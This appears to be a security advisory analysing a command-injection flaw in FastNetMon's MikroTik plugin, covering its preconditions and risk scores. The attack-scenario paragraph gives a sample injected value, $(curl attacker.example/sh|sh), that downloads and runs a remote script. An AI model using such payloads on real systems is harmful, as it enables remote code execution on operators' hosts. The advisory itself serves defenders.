FastNetMon Community Edition EUVD-2026-31949

The MikroTik integration plugin (src/mikrotik_plugin/fastnetmon_mikrotik.php) must be enabled and invoked by FastNetMon Community Edition 1.2.9 or earlier, and the attacker must be able to influence one of the argv[] values that FastNetMon passes to the plugin's _log() function - meaning attacker-controlled content must reach an attack-event field that the core forwards to the plugin. Per CVSS PR:L, some level of authenticated or privileged position is required (not unauthenticated remote), UI:N means no user interaction is needed, and exploitation is limited to deployments that actually run the MikroTik plugin; sites that only use other integrations, or have disabled router automation, are not exposed via this specific file.

The CVSS 3.1 score of 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) reflects high confidentiality and integrity impact with low attack complexity, but the PR:L requirement and the SSVC assessment of Exploitation: none, Automatable: no, Technical Impact: total temper real-world urgency. EPSS of 0.05% (17th percentile) and the absence of CISA KEV listing indicate no public exploit identified at time of analysis and no observed exploitation, suggesting this is a meaningful but not emergency-priority issue for most operators. There is a notable signal mismatch worth flagging: the CVSS vector lists AV:N, yet exploitation requires the attacker to influence argv[] values supplied to the plugin by the FastNetMon core, which in practice means the attacker must be able to inject controlled data into the upstream attack-detection pipeline (e.g., crafted network traffic that produces attacker-controlled fields in the alert) rather than directly calling a network-exposed endpoint - defenders should verify the realistic exposure path with the upstream maintainer.

An attacker manipulates network traffic or upstream data sources so that FastNetMon's attack-detection pipeline records attacker-controlled values (such as a crafted hostname, comment, or identifier) which the core then passes as argv[] to the MikroTik plugin; when _log() is invoked with that value, embedded shell metacharacters like $(curl attacker.example/sh|sh) are evaluated by /bin/sh under the FastNetMon service account. No public exploit code has been identified, but the lorikeetsecurity.com write-up describes the vulnerable code path in enough detail that weaponization by a motivated attacker is straightforward.